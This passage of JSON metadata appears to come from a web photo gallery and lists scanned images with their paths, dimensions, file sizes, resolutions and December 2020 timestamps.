    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515342_0001.jpg","dates":{"dateTaken":1608392561},"fileDate":"2020-12-19T16:42:41.238Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:41.238Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515343_0001.jpg","image":{"path":"slides\/S22C-620121515343_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515343 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515343_0001.jpg","width":340,"height":260},"fileSize":686816,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515343_0001.jpg","dates":{"dateTaken":1608392562},"fileDate":"2020-12-19T16:42:42.864Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:42.864Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515344_0001.jpg","image":{"path":"slides\/S22C-620121515344_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515344 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515344_0001.jpg","width":340,"height":260},"fileSize":578049,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515344_0001.jpg","dates":{"dateTaken":1608392564},"fileDate":"2020-12-19T16:42:44.150Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:44.150Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515350_0001.jpg","image":{"path":"slides\/S22C-620121515350_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515350 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515350_0001.jpg","width":340,"height":260},"fileSize":754681,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515350_0001.jpg","dates":{"dateTaken":1608392565},"fileDate":"2020-12-19T16:42:45.159Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:45.159Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515351_0001.jpg","image":{"path":"slides\/S22C-620121515351_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515351 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515351_0001.jpg","width":340,"height":260},"fileSize":408281,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515351_0001.jpg","dates":{"dateTaken":1608392566},"fileDate":"2020-12-19T16:42:46.169Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:46.169Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515352_0001.jpg","image":{"path":"slides\/S22C-620121515352_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515352 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515352_0001.jpg","width":340,"height":260},"fileSize":143849,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515352_0001.jpg","dates":{"dateTaken":1608392567},"fileDate":"2020-12-19T16:42:47.357Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:47.357Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515360_0001.jpg","image":{"path":"slides\/S22C-620121515360_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515360 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515360_0001.jpg","width":340,"height":260},"fileSize":857458,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515360_0001.jpg","dates":{"dateTaken":1608392569},"fileDate":"2020-12-19T16:42:49.960Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:49.960Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515361_0001.jpg","image":{"path":"slides\/S22C-620121515361_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515361 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515361_0001.jpg","width":340,"height":260},"fileSize":1202134,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515361_0001.jpg","dates":{"dateTaken":1608392571},"fileDate":"2020-12-19T16:42:51.402Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:51.402Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515362_0001.jpg","image":{"path":"slides\/S22C-620121515362_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515362 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515362_0001.jpg","width":340,"height":260},"fileSize":247242,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515362_0001.jpg","dates":{"dateTaken":1608392572},"fileDate":"2020-12-19T16:42:52.610Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:52.610Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515363_0001.jpg","image":{"path":"slides\/S22C-620121515363_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515363 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515363_0001.jpg","width":340,"height":260},"fileSize":370527,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515363_0001.jpg","dates":{"dateTaken":1608392575},"fileDate":"2020-12-19T16:42:55.162Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:55.162Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515370_0001.jpg","image":{"path":"slides\/S22C-620121515370_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515370 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515370_0001.jpg","width":340,"height":260},"fileSize":603243,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515370_0001.jpg","dates":{"dateTaken":1608392577},"fileDate":"2020-12-19T16:42:57.189Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:57.189Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515371_0001.jpg","image":{"path":"slides\/S22C-620121515371_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515371 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515371_0001.jpg","width":340,"height":260},"fileSize":721277,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515371_0001.jpg","dates":{"dateTaken":1608392578},"fileDate":"2020-12-19T16:42:58.414Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:58.414Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515372_0001.jpg","image":{"path":"slides\/S22C-620121515372_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515372 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515372_0001.jpg","width":340,"height":260},"fileSize":364035,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515372_0001.jpg","dates":{"dateTaken":1608392579},"fileDate":"2020-12-19T16:42:59.544Z","category":"image","camera":{"originalDate":"2020-12-19T16:42:59.544Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515410_0001.jpg","image":{"path":"slides\/S22C-620121515410_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515410 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515410_0001.jpg","width":340,"height":260},"fileSize":297345,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515410_0001.jpg","dates":{"dateTaken":1608392580},"fileDate":"2020-12-19T16:43:00.627Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:00.627Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515411_0001.jpg","image":{"path":"slides\/S22C-620121515411_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515411 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515411_0001.jpg","width":340,"height":260},"fileSize":238280,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515411_0001.jpg","dates":{"dateTaken":1608392581},"fileDate":"2020-12-19T16:43:01.820Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:01.820Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515412_0001.jpg","image":{"path":"slides\/S22C-620121515412_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515412 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515412_0001.jpg","width":340,"height":260},"fileSize":379131,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515412_0001.jpg","dates":{"dateTaken":1608392583},"fileDate":"2020-12-19T16:43:03.18Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:03.18Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515413_0001.jpg","image":{"path":"slides\/S22C-620121515413_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515413 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515413_0001.jpg","width":340,"height":260},"fileSize":357999,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515413_0001.jpg","dates":{"dateTaken":1608392584},"fileDate":"2020-12-19T16:43:04.331Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:04.331Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515414_0001.jpg","image":{"path":"slides\/S22C-620121515414_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515414 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515414_0001.jpg","width":340,"height":260},"fileSize":144650,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515414_0001.jpg","dates":{"dateTaken":1608392585},"fileDate":"2020-12-19T16:43:05.271Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:05.271Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515415_0001.jpg","image":{"path":"slides\/S22C-620121515415_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515415 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515415_0001.jpg","width":340,"height":260},"fileSize":342249,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515415_0001.jpg","dates":{"dateTaken":1608392586},"fileDate":"2020-12-19T16:43:06.317Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:06.317Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515420_0001.jpg","image":{"path":"slides\/S22C-620121515420_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515420 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515420_0001.jpg","width":340,"height":260},"fileSize":230109,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515420_0001.jpg","dates":{"dateTaken":1608392587},"fileDate":"2020-12-19T16:43:07.296Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:07.296Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515421_0001.jpg","image":{"path":"slides\/S22C-620121515421_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515421 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515421_0001.jpg","width":340,"height":260},"fileSize":587925,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515421_0001.jpg","dates":{"dateTaken":1608392589},"fileDate":"2020-12-19T16:43:09.226Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:09.226Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515422_0001.jpg","image":{"path":"slides\/S22C-620121515422_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515422 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515422_0001.jpg","width":340,"height":260},"fileSize":749227,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515422_0001.jpg","dates":{"dateTaken":1608392592},"fileDate":"2020-12-19T16:43:12.474Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:12.474Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515423_0001.jpg","image":{"path":"slides\/S22C-620121515423_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515423 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515423_0001.jpg","width":340,"height":260},"fileSize":685001,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515423_0001.jpg","dates":{"dateTaken":1608392594},"fileDate":"2020-12-19T16:43:14.23Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:14.23Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515430_0001.jpg","image":{"path":"slides\/S22C-620121515430_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515430 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515430_0001.jpg","width":340,"height":260},"fileSize":270111,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515430_0001.jpg","dates":{"dateTaken":1608392596},"fileDate":"2020-12-19T16:43:16.205Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:16.205Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515431_0001.jpg","image":{"path":"slides\/S22C-620121515431_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515431 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515431_0001.jpg","width":340,"height":260},"fileSize":335718,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515431_0001.jpg","dates":{"dateTaken":1608392597},"fileDate":"2020-12-19T16:43:17.454Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:17.454Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515432_0001.jpg","image":{"path":"slides\/S22C-620121515432_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515432 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515432_0001.jpg","width":340,"height":260},"fileSize":665882,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515432_0001.jpg","dates":{"dateTaken":1608392598},"fileDate":"2020-12-19T16:43:18.709Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:18.709Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515433_0001.jpg","image":{"path":"slides\/S22C-620121515433_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515433 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515433_0001.jpg","width":340,"height":260},"fileSize":150471,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515433_0001.jpg","dates":{"dateTaken":1608392600},"fileDate":"2020-12-19T16:43:20.726Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:20.726Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515440_0001.jpg","image":{"path":"slides\/S22C-620121515440_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515440 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515440_0001.jpg","width":340,"height":260},"fileSize":967426,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515440_0001.jpg","dates":{"dateTaken":1608392603},"fileDate":"2020-12-19T16:43:23.636Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:23.636Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515442_0001.jpg","image":{"path":"slides\/S22C-620121515442_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515442 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515442_0001.jpg","width":340,"height":260},"fileSize":310840,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515442_0001.jpg","dates":{"dateTaken":1608392606},"fileDate":"2020-12-19T16:43:26.27Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:26.27Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515443_0001.jpg","image":{"path":"slides\/S22C-620121515443_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515443 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515443_0001.jpg","width":340,"height":260},"fileSize":205303,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515443_0001.jpg","dates":{"dateTaken":1608392607},"fileDate":"2020-12-19T16:43:27.120Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:27.120Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515444_0001.jpg","image":{"path":"slides\/S22C-620121515444_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515444 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515444_0001.jpg","width":340,"height":260},"fileSize":575653,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515444_0001.jpg","dates":{"dateTaken":1608392609},"fileDate":"2020-12-19T16:43:29.60Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:29.60Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515445_0001.jpg","image":{"path":"slides\/S22C-620121515445_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515445 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515445_0001.jpg","width":340,"height":260},"fileSize":588420,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515445_0001.jpg","dates":{"dateTaken":1608392610},"fileDate":"2020-12-19T16:43:30.777Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:30.777Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515450_0001.jpg","image":{"path":"slides\/S22C-620121515450_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515450 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515450_0001.jpg","width":340,"height":260},"fileSize":682717,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515450_0001.jpg","dates":{"dateTaken":1608392612},"fileDate":"2020-12-19T16:43:32.232Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:32.232Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515452_0001.jpg","image":{"path":"slides\/S22C-620121515452_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515452 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515452_0001.jpg","width":340,"height":260},"fileSize":303033,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515452_0001.jpg","dates":{"dateTaken":1608392615},"fileDate":"2020-12-19T16:43:35.636Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:35.636Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515453_0001.jpg","image":{"path":"slides\/S22C-620121515453_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515453 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515453_0001.jpg","width":340,"height":260},"fileSize":574971,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515453_0001.jpg","dates":{"dateTaken":1608392616},"fileDate":"2020-12-19T16:43:36.811Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:36.811Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515462_0001.jpg","image":{"path":"slides\/S22C-620121515462_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515462 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515462_0001.jpg","width":340,"height":260},"fileSize":513114,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515462_0001.jpg","dates":{"dateTaken":1608392619},"fileDate":"2020-12-19T16:43:39.859Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:39.859Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515470_0001.jpg","image":{"path":"slides\/S22C-620121515470_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515470 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515470_0001.jpg","width":340,"height":260},"fileSize":402894,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515470_0001.jpg","dates":{"dateTaken":1608392622},"fileDate":"2020-12-19T16:43:42.119Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:42.119Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515471_0001.jpg","image":{"path":"slides\/S22C-620121515471_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515471 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515471_0001.jpg","width":340,"height":260},"fileSize":631788,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515471_0001.jpg","dates":{"dateTaken":1608392624},"fileDate":"2020-12-19T16:43:44.209Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:44.209Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515473_0001.jpg","image":{"path":"slides\/S22C-620121515473_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515473 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515473_0001.jpg","width":340,"height":260},"fileSize":309266,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515473_0001.jpg","dates":{"dateTaken":1608392626},"fileDate":"2020-12-19T16:43:46.460Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:46.460Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515474_0001.jpg","image":{"path":"slides\/S22C-620121515474_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515474 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515474_0001.jpg","width":340,"height":260},"fileSize":448504,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515474_0001.jpg","dates":{"dateTaken":1608392627},"fileDate":"2020-12-19T16:43:47.522Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:47.522Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515480_0001.jpg","image":{"path":"slides\/S22C-620121515480_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515480 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515480_0001.jpg","width":340,"height":260},"fileSize":679057,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515480_0001.jpg","dates":{"dateTaken":1608392628},"fileDate":"2020-12-19T16:43:48.687Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:48.687Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515481_0001.jpg","image":{"path":"slides\/S22C-620121515481_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515481 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515481_0001.jpg","width":340,"height":260},"fileSize":276582,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515481_0001.jpg","dates":{"dateTaken":1608392629},"fileDate":"2020-12-19T16:43:49.675Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:49.675Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515482_0001.jpg","image":{"path":"slides\/S22C-620121515482_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515482 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515482_0001.jpg","width":340,"height":260},"fileSize":266488,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515482_0001.jpg","dates":{"dateTaken":1608392630},"fileDate":"2020-12-19T16:43:50.656Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:50.656Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515540_0001.jpg","image":{"path":"slides\/S22C-620121515540_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515540 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515540_0001.jpg","width":340,"height":260},"fileSize":268320,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515540_0001.jpg","dates":{"dateTaken":1608392631},"fileDate":"2020-12-19T16:43:51.630Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:51.630Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515541_0001.jpg","image":{"path":"slides\/S22C-620121515541_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515541 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515541_0001.jpg","width":340,"height":260},"fileSize":396800,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515541_0001.jpg","dates":{"dateTaken":1608392632},"fileDate":"2020-12-19T16:43:52.560Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:52.560Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515550_0001.jpg","image":{"path":"slides\/S22C-620121515550_0001.jpg","width":566,"height":800},"imageCaption":"

    S22C-620121515550 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515550_0001.jpg","width":340,"height":260},"fileSize":308444,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515550_0001.jpg","dates":{"dateTaken":1608392634},"fileDate":"2020-12-19T16:43:54.621Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:54.621Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515551_0001.jpg","image":{"path":"slides\/S22C-620121515551_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515551 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515551_0001.jpg","width":340,"height":260},"fileSize":439557,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515551_0001.jpg","dates":{"dateTaken":1608392635},"fileDate":"2020-12-19T16:43:55.996Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:55.996Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515552_0001.jpg","image":{"path":"slides\/S22C-620121515552_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515552 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515552_0001.jpg","width":340,"height":260},"fileSize":245877,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515552_0001.jpg","dates":{"dateTaken":1608392637},"fileDate":"2020-12-19T16:43:57.420Z","category":"image","camera":{"originalDate":"2020-12-19T16:43:57.420Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515553_0001.jpg","image":{"path":"slides\/S22C-620121515553_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515553 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515553_0001.jpg","width":340,"height":260},"fileSize":431244,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515553_0001.jpg","dates":{"dateTaken":1608392644},"fileDate":"2020-12-19T16:44:04.306Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:04.306Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515554_0001.jpg","image":{"path":"slides\/S22C-620121515554_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515554 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515554_0001.jpg","width":340,"height":260},"fileSize":791656,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515554_0001.jpg","dates":{"dateTaken":1608392645},"fileDate":"2020-12-19T16:44:05.779Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:05.779Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515560_0001.jpg","image":{"path":"slides\/S22C-620121515560_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515560 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515560_0001.jpg","width":340,"height":260},"fileSize":441817,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515560_0001.jpg","dates":{"dateTaken":1608392646},"fileDate":"2020-12-19T16:44:06.954Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:06.954Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515561_0001.jpg","image":{"path":"slides\/S22C-620121515561_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515561 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515561_0001.jpg","width":340,"height":260},"fileSize":699356,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515561_0001.jpg","dates":{"dateTaken":1608392648},"fileDate":"2020-12-19T16:44:08.74Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:08.74Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515562_0001.jpg","image":{"path":"slides\/S22C-620121515562_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515562 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515562_0001.jpg","width":340,"height":260},"fileSize":503237,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515562_0001.jpg","dates":{"dateTaken":1608392649},"fileDate":"2020-12-19T16:44:09.282Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:09.282Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515563_0001.jpg","image":{"path":"slides\/S22C-620121515563_0001.jpg","width":1000,"height":707},"imageCaption":"

    S22C-620121515563 0001<\/h5>","thumb":{"path":"thumbs\/S22C-620121515563_0001.jpg","width":340,"height":260},"fileSize":143665,"photodata":"

    Auflösung<\/b> 1653 x 2338<\/i><\/p>","name":"S22C-620121515563_0001.jpg","dates":{"dateTaken":1608392650},"fileDate":"2020-12-19T16:44:10.592Z","category":"image","camera":{"originalDate":"2020-12-19T16:44:10.592Z","resolution":"1653 x 2338"}},{"path":"S22C-620121515570_0001.jpg","image":{"path":"slides\/S22C-620121515570_0001.jpg","width":1000,"height":707},"imageCaption":"

